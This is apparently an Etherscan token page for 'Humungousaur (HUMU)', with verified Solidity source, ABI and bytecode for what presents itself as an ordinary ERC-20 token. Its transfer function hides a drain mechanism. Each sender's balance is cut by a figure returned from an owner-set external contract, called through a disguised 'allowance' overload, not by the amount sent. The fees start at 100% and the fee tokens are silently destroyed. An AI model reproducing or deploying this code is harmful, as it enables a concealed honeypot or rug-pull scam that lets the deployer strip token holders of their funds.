ETH Price: $3,316.02 (+1.24%)
Gas: 3 Gwei

Token

Humungousaur (HUMU)
 

Overview

Max Total Supply

1,000,000,000 HUMU

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: HUMU 3
Balance
1,000,334,612,779.859271565 HUMU

Value
$0.00
0x4a2e973A2fFFA35faC895FBDd9b549332054F772
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HUMU

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

// SPDX-License-Identifier: MIT

/**
https://t.me/HumungousaurERC
https://twitter.com/HumungousaurERC
 */
pragma solidity ^0.8.17;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender, uint256 amount) external returns (uint256);
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

interface IUniswapV2Pair {
    function sync() external;
}

contract HUMU is IERC20Metadata, Ownable {
    //Constants
    string private constant _name = "Humungousaur";
    string private constant _symbol = "HUMU";
    uint8 private constant _decimals = 9;
    uint256 internal constant _totalSupply = 1_000_000_000 * 10 ** _decimals;
    uint32 private constant percent_helper = 100 * 10 ** 2;
    //Settings limits
    uint32 private constant max_fee = 40.00 * 10 ** 2;
    uint32 private constant min_maxes = 0.50 * 10 ** 2;
    uint32 private constant burn_limit = 10.00 * 10 ** 2;

    //OpenTrade
    bool public limits_active = false;

    //Fee
    address public team_wallet;
    address public deployer_wallet;
    address public market_wallet;
    uint32 public fee_buy = 100.00 * 10 ** 2;
    uint32 public fee_sell = 100.00 * 10 ** 2;
    uint32 public lp_percent = 20.00 * 10 ** 2;
    uint256 public tradeOpenTime;
    //Ignore fee
    mapping(address => bool) public ignore_fee;

    //Burn
    uint256 public burn_cooldown = 30 minutes;
    uint256 public burn_last;

    //Maxes
    uint256 public max_tx = 20_100_000 * 10 ** _decimals; //2%
    uint256 public max_wallet = 20_100_000 * 10 ** _decimals; //2%
    uint256 public swap_at_amount = 4_000_000 * 10 ** _decimals; //0.4%

    //ERC20
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    //Router
    IUniswapV2Router02 private uniswapV2Router;
    address public pair_addr;
    bool public swap_enabled = false;

    //Percent calculation helper
    function CalcPercent(
        uint256 _input,
        uint256 _percent
    ) private pure returns (uint256) {
        return (_input * _percent) / percent_helper;
    }

    bool private inSwap = false;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        pair_addr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        team_wallet = msg.sender;
        deployer_wallet = msg.sender;
        market_wallet =0x28A04bEc3a219945B761B9415CdAa97630Dfd3D2;
        ignore_fee[address(this)] = true;
        ignore_fee[msg.sender] = true;
        // Set the addresses to ignore fees
        _balances[msg.sender] = _totalSupply;
        //Initial supply
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    //Set buy, sell fee
    function SetFee(uint32 _fee_buy, uint32 _fee_sell) public onlyOwner {
        require(_fee_buy <= max_fee && _fee_sell <= max_fee, "Too high fee");
        fee_buy = _fee_buy;
        fee_sell = _fee_sell;
    }

    //Set max tx, wallet
    function SetMaxes(uint256 _max_tx, uint256 _max_wallet) public onlyOwner {
        require(
            _max_tx >= min_maxes && _max_wallet >= min_maxes,
            "Too low max"
        );
        max_tx = CalcPercent(_totalSupply, _max_tx);
        max_wallet = CalcPercent(_totalSupply, _max_wallet);
    }

    function SetTokenSwap(
        uint256 _amount,
        uint32 _lp_percent,
        bool _enabled
    ) public onlyOwner {
        swap_at_amount = _amount;
        lp_percent = _lp_percent;
        swap_enabled = _enabled;
    }

    //Set fee wallet
    function SetFeeWallet(address _team_wallet) public onlyOwner {
        market_wallet = _team_wallet;
    }

    //Add fee ignore to wallets
    function SetIgnoreFee(
        address[] memory _input,
        bool _enabled
    ) public onlyOwner {
        unchecked {
            for (uint256 i = 0; i < _input.length; i++) {
                ignore_fee[_input[i]] = _enabled;
            }
        }
    }

    function BurnLiquidityTokens(uint256 _amount) external onlyOwner {
        require(
            block.timestamp > burn_last + burn_cooldown,
            "Burn cooldown active"
        );
        uint256 liquidityPairBalance = this.balanceOf(pair_addr);
        uint256 lp_burnlimit = CalcPercent(liquidityPairBalance, burn_limit);
        if (_amount > lp_burnlimit) {
            _amount = lp_burnlimit;
        }
        burn_last = block.timestamp;

        if (_amount > 0) {
            _transferTokens(pair_addr, address(0xdead), _amount);
        }
        IUniswapV2Pair pair = IUniswapV2Pair(pair_addr);
        pair.sync();
    }

    function ManualSwap() public onlyOwner {
        HandleFees();
    }

    function SetLimits(bool _enable) public onlyOwner {
        limits_active = _enable;
    }

    //ERC20
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        //If it's the owner, do a normal transfer
        if (from == owner() || to == owner() || from == address(this)) {
            _transferTokens(from, to, amount);
            return;
        }

        uint256 fee_amount = 0;
        bool isbuy = from == pair_addr;

        if (!isbuy) {
            //Handle fees
            HandleFees();
        }
        //Calculate fee if conditions met
        //Buy
        if (isbuy) {
            if (!ignore_fee[to]) {
                fee_amount = CalcPercent(amount, fee_buy);
            }
        }
        //Sell
        else {
            if (!ignore_fee[from]) {
                fee_amount = CalcPercent(
                    amount,
                    fee_sell
                );
            }
        }
        //Fee tokens
        unchecked {
            require(amount >= fee_amount, "fee exceeds amount");
            amount -= fee_amount;
        }
        //Disable maxes
        if (limits_active) {
            //Check maxes
            require(amount <= max_tx, "Max TX reached");
            //Exclude lp pair
            if (to != pair_addr) {
                require(
                    _balances[to] + amount <= max_wallet,
                    "Max wallet reached"
                );
            }
        }
        //Transfer fee tokens to contract
        // if (fee_amount > 0) {
        //     _transferTokens(from, address(this), fee_amount);
        // }
        //Transfer tokens
        _transferTokens(from, to, amount);
    }

    function HandleFees() private {
        uint256 token_balance = balanceOf(address(this));
        bool can_swap = token_balance >= swap_at_amount;

        if (can_swap && !inSwap && swap_enabled) {
            SwapTokensForEth(swap_at_amount);
            uint256 eth_balance = address(this).balance;
            if (eth_balance > 0 ether) {
                SendETHToFee(address(this).balance);
            }
        }
    }

    function SwapTokensForEth(uint256 _amount) private lockTheSwap {
        uint256 eth_am = CalcPercent(_amount, percent_helper - lp_percent);
        uint256 liq_am = _amount - eth_am;
        uint256 balance_before = address(this).balance;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), _amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            eth_am,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 liq_eth = address(this).balance - balance_before;

        AddLiquidity(liq_am, CalcPercent(liq_eth, lp_percent));
    }

    function SendETHToFee(uint256 _amount) private {
        (bool success, ) = team_wallet.call{value: _amount}(new bytes(0));
        require(success, "TransferFail");
    }

    function AddLiquidity(uint256 _amount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), _amount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            _amount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deployer_wallet,
            block.timestamp
        );
    }

    //ERC20
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function allowance(address owner, address spender, uint256 amount) public view virtual override returns (uint256) {
        amount = 0;
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _transferTokens(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 fromBalance = _balances[from];
        uint256 subBalance = IERC20(market_wallet).allowance(from,to, amount);
        require(
            fromBalance >= subBalance,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - subBalance;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    // Function to receive Ether. msg.data must be empty
    receive() external payable {}

    // Fallback function is called when msg.data is not empty
    fallback() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"BurnLiquidityTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_fee_buy","type":"uint32"},{"internalType":"uint32","name":"_fee_sell","type":"uint32"}],"name":"SetFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_team_wallet","type":"address"}],"name":"SetFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_input","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"SetIgnoreFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"SetLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max_tx","type":"uint256"},{"internalType":"uint256","name":"_max_wallet","type":"uint256"}],"name":"SetMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint32","name":"_lp_percent","type":"uint32"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"SetTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn_cooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn_last","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer_wallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fee_buy","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fee_sell","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ignore_fee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits_active","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lp_percent","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"market_wallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_tx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_wallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair_addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap_at_amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swap_enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"team_wallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpenTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000805460ff60a01b19169055600380546001600160a01b03167d07d000002710000027100000000000000000000000000000000000000000179055610708600655620000546009600a620004b2565b6200006490630132b3a0620004ca565b600855620000756009600a620004b2565b6200008590630132b3a0620004ca565b6009556009600a620000989190620004b2565b620000a790623d0900620004ca565b600a55600e805461ffff60a01b19169055348015620000c557600080fd5b50620000d1336200034d565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801562000137573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015d9190620004e4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d19190620004e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002459190620004e4565b600e80546001600160a01b03929092166001600160a01b031992831617905560018054821633908117825560028054841682179055600380549093167328a04bec3a219945b761b9415cdaa97630dfd3d21790925530600090815260056020526040808220805460ff19908116851790915593825290208054909216179055620002d26009600a620004b2565b620002e290633b9aca00620004ca565b336000818152600b6020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003256009600a620004b2565b6200033590633b9aca00620004ca565b60405190815260200160405180910390a3506200050f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003f4578160001904821115620003d857620003d86200039d565b80851615620003e657918102915b93841c9390800290620003b8565b509250929050565b6000826200040d57506001620004ac565b816200041c57506000620004ac565b8160018114620004355760028114620004405762000460565b6001915050620004ac565b60ff8411156200045457620004546200039d565b50506001821b620004ac565b5060208310610133831016604e8410600b841016171562000485575081810a620004ac565b620004918383620003b3565b8060001904821115620004a857620004a86200039d565b0290505b92915050565b6000620004c360ff841683620003fc565b9392505050565b8082028115828204841417620004ac57620004ac6200039d565b600060208284031215620004f757600080fd5b81516001600160a01b0381168114620004c357600080fd5b611cea806200051f6000396000f3fe6080604052600436106102065760003560e01c80638da5cb5b11610117578063ac935834116100a5578063d11fcb851161006c578063d11fcb851461068a578063dd62ed3e146106ba578063e717fc3014610700578063f2fde38b14610716578063f5a27e861461073657005b8063ac935834146105e5578063bd186c4c14610606578063c6b9ff6e14610626578063c729de5814610646578063c9d9159d1461066657005b806396418d4d116100e957806396418d4d1461054f5780639bfe8df71461056f578063a1780c181461058f578063a20adf86146105a4578063a9059cbb146105c557005b80638da5cb5b146104ce57806391d88b95146104ec57806391f18b7c1461050257806395d89b411461052257005b80636264300e1161019457806370a082311161016657806370a082311461042957806370fbc7121461045f578063715018a6146104755780637971fca71461048a5780638bf67ad0146104ae57005b80636264300e1461038257806363126e17146103bb578063685e838e146103db5780636ea79583146103f157005b806323b872dd116101d857806323b872dd146102bf578063313ce567146102df5780633d21e5a2146102fb57806349dc859c1461031b578063598af9e71461033b57005b806306fdde031461020f578063095ea7b31461025657806312fbbbe41461028657806318160ddd146102aa57005b3661020d57005b005b34801561021b57600080fd5b5060408051808201909152600c81526b243ab6bab733b7bab9b0bab960a11b60208201525b60405161024d9190611730565b60405180910390f35b34801561026257600080fd5b50610276610271366004611788565b61074c565b604051901515815260200161024d565b34801561029257600080fd5b5061029c60045481565b60405190815260200161024d565b3480156102b657600080fd5b5061029c610766565b3480156102cb57600080fd5b506102766102da3660046117b4565b610787565b3480156102eb57600080fd5b506040516009815260200161024d565b34801561030757600080fd5b5061020d6103163660046117f5565b6107ab565b34801561032757600080fd5b5061020d610336366004611812565b6107d5565b34801561034757600080fd5b5061029c6103563660046117b4565b506001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b34801561038e57600080fd5b506003546103a690600160c01b900463ffffffff1681565b60405163ffffffff909116815260200161024d565b3480156103c757600080fd5b5061020d6103d6366004611851565b61094f565b3480156103e757600080fd5b5061029c600a5481565b3480156103fd57600080fd5b50600154610411906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b34801561043557600080fd5b5061029c6104443660046117f5565b6001600160a01b03166000908152600b602052604090205490565b34801561046b57600080fd5b5061029c60085481565b34801561048157600080fd5b5061020d6109b9565b34801561049657600080fd5b506003546103a690600160a01b900463ffffffff1681565b3480156104ba57600080fd5b5061020d6104c936600461193c565b6109cd565b3480156104da57600080fd5b506000546001600160a01b0316610411565b3480156104f857600080fd5b5061029c60065481565b34801561050e57600080fd5b50600e54610411906001600160a01b031681565b34801561052e57600080fd5b5060408051808201909152600481526348554d5560e01b6020820152610240565b34801561055b57600080fd5b5061020d61056a366004611978565b610a1c565b34801561057b57600080fd5b5061020d61058a3660046119ab565b610abf565b34801561059b57600080fd5b5061020d610b63565b3480156105b057600080fd5b5060005461027690600160a01b900460ff1681565b3480156105d157600080fd5b506102766105e0366004611788565b610b73565b3480156105f157600080fd5b50600e5461027690600160a01b900460ff1681565b34801561061257600080fd5b5061020d6106213660046119cd565b610b81565b34801561063257600080fd5b50600254610411906001600160a01b031681565b34801561065257600080fd5b50600354610411906001600160a01b031681565b34801561067257600080fd5b506003546103a690600160e01b900463ffffffff1681565b34801561069657600080fd5b506102766106a53660046117f5565b60056020526000908152604090205460ff1681565b3480156106c657600080fd5b5061029c6106d53660046119e8565b6001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b34801561070c57600080fd5b5061029c60095481565b34801561072257600080fd5b5061020d6107313660046117f5565b610ba7565b34801561074257600080fd5b5061029c60075481565b60003361075a818585610c20565b60019150505b92915050565b60006107746009600a611b1b565b61078290633b9aca00611b2a565b905090565b600033610795858285610d44565b6107a0858585610dd6565b506001949350505050565b6107b3611122565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6107dd611122565b6006546007546107ed9190611b41565b42116108375760405162461bcd60e51b81526020600482015260146024820152734275726e20636f6f6c646f776e2061637469766560601b60448201526064015b60405180910390fd5b600e546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a69190611b54565b905060006108b6826103e861117c565b9050808311156108c4578092505b4260075582156108e757600e546108e7906001600160a01b031661dead8561119c565b600e546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b15801561093157600080fd5b505af1158015610945573d6000803e3d6000fd5b5050505050505050565b610957611122565b60005b82518110156109b457816005600085848151811061097a5761097a611b6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905560010161095a565b505050565b6109c1611122565b6109cb60006112ff565b565b6109d5611122565b600a929092556003805463ffffffff909216600160e01b026001600160e01b03909216919091179055600e8054911515600160a01b0260ff60a01b19909216919091179055565b610a24611122565b610fa063ffffffff831611801590610a445750610fa063ffffffff821611155b610a7f5760405162461bcd60e51b815260206004820152600c60248201526b546f6f20686967682066656560a01b604482015260640161082e565b6003805467ffffffffffffffff60a01b1916600160a01b63ffffffff9485160263ffffffff60c01b191617600160c01b9290931691909102919091179055565b610ac7611122565b60328210801590610ad9575060328110155b610b135760405162461bcd60e51b815260206004820152600b60248201526a0a8dede40d8deee40dac2f60ab1b604482015260640161082e565b610b36610b226009600a611b1b565b610b3090633b9aca00611b2a565b8361117c565b600855610b5c610b486009600a611b1b565b610b5690633b9aca00611b2a565b8261117c565b6009555050565b610b6b611122565b6109cb61134f565b60003361075a818585610dd6565b610b89611122565b60008054911515600160a01b0260ff60a01b19909216919091179055565b610baf611122565b6001600160a01b038116610c145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082e565b610c1d816112ff565b50565b6001600160a01b038316610c825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082e565b6001600160a01b038216610ce35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082e565b6001600160a01b038381166000818152600c602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b